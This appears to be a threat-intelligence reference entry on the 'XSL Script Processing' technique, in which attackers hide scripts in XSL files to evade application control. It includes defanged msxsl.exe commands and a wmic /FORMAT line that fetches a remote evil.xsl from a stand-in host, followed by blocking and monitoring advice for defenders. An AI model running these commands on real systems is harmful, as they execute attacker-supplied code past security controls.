XSL Script Processing
Adversaries may bypass application control and obscure execution of code by embedding scripts inside XSL files. Extensible Stylesheet Language (XSL) files are commonly used to describe the processing and rendering of data within XML files. To support complex operations, the XSL standard includes support for embedded scripting in various languages. 
msxsl.exe customers[.]xml script[.]xsl
msxsl.exe script[.]xsl script[.]xsl
msxsl.exe script[.]jpeg script[.]jpeg
Another variation of this technique, dubbed "Squiblytwo", involves using Windows Management Instrumentation to invoke JScript or VBScript within an XSL file. This technique can also execute local/remote scripts and, similar to its Regsvr32/ "Squiblydoo" counterpart, leverages a trusted, built-in Windows tool. Adversaries may abuse any alias in Windows Management Instrumentation provided they utilize the /FORMAT switch.
- Local File:
wmic process list /FORMAT:evil[.]xsl
- Remote File:
wmic os get /FORMAT:"https[:]//example[.]com/evil[.]xsl"
If msxsl.exe is unnecessary, then block its execution to prevent abuse by adversaries.
Use process monitoring to monitor the execution and arguments of msxsl.exe and wmic.exe. Compare recent invocations of these utilities with prior history of known good arguments and loaded files to determine anomalous and potentially adversarial activity (ex: URL command line arguments, creation of external network connections, loading of DLLs associated with scripting).   Command arguments used before and after the script invocation may also be useful in determining the origin and purpose of the payload being loaded.
The presence of msxsl.exe or other utilities that enable proxy execution that are typically used for development, debugging, and reverse engineering on a system that is not used for these purposes may be suspicious.
- Wenzel, M. et al. (2017, March 30). XSLT Stylesheet Scripting Using
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